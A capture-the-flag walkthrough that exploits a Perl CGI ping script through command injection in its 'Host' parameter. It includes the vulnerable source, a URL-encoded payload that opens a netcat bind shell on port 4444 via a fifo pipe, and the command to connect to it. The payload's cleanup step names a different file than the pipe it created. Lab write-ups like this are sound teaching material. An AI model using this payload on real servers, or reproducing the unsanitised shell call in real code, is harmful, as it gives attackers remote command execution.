This one starts with the following information:
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
and Source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host")); |
We can see that the flag07 user has an thttpd.conf file in his directory, indicating that he has a http daemon or (web server) running. This is further compounded by the fact that he has a perl script (index.cgi) in his home directory.
In the thttpd.conf file it tells us that the web server is running on port 7007. I didn’t want to exit the VM, which meant that I didn’t have a web browser, but I do have wget which allows me to make http requests from the command line so I ran:
wget -O- http://localhost:7007/index.cgi |
and got some output telling me how to use ping (because it hadn’t been given sufficient arguments. From the perl code, I could see that it wants a variable submitted as “Host”. It looks like it will use this as the machine name to ping. This time I tried:
wget -O- http://localhost:7007/index.cgi?Host=localhost |
and got back ping results, but I need to get this script to do something other than ping… I can see that the ping command is just a string with the submitted host name “injected” into it. There is no input sanitisation going on, so it is ripe for some code injection.
I could get the script to copy my elevated-shell-launcher program and thenset the setuid bit like I did in level 03, but this challenge reminded me of something I learned while playing with DVWA (using netcat to send shell over the network) so I tried that method instead. The url I need to load would submit the following as the Host variable:
;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2>&1>/tmp/pipe;rm /tmp/fifo; |
When injected to the command that is run in the perl script, to actual command that is executed will be:
ping -c 3 ;mkfifo /tmp/pipe;cat /tmp/pipe|bash|nc -l 4444 2>&1>/tmp/pipe;rm /tmp/fifo; 2>&1 |
This is quite a command, so I’ll break it down:
- ping -c 3 ; – This command will fail because there is no host given, but we don’t care about that
- mkfifo /tmp/pipe; – Make a special “pipe” file in /tmp/pipe, I’ll explain why later…
- cat /tmp/pipe|bash|nc -l 4444 2>&1>/tmp/pipe; – this reads data from the /tmp/pipe and sends it to /bin/bash, which sends it’s output to nc, which is listening on port 4444, which then sends it’s output (stdout and stderr) back to /tmp/pipe.
- rm /tmp/fifo; – clear up the pipe file after nc has closed.
- 2>&1 – Redirects stderr to stdout. This is just left over from the perl script’s command, we don’t care about it really.
This should set up a netcat process listening on TCP port 4444 that will accept data (in our case this will be bash commands) from the network and send it to /tmp/pipe. cat will read data from /tmp/pipe and send it to bash, which will send it’s output to netcat, which will in turn send that back over the network. A kind of remote shell. Passing input/output of netcat and bash in this circular fashion is only possible by way of a fifo pipe and the cat command.
Obviously I’ll have to URL encode my host variable, so my whole command becomes:
wget -O- http://localhost:7007/index.cgi?Host=%3Bmkfifo%20%2Ftmp%2Fpipe%3Bcat%20%2Ftmp%2Fpipe%7Cbash%7Cnc%20-l%204444%202%3E%261%3E%2Ftmp%2Fpipe%3Brm%20%2Ftmp%2Ffifo%3B |
Now I just connect from another tty session or another machine on the network (though you’ll have to edit the command if you do that) using:
nc localhost 4444 |
Now I can run any command including whoami and getflag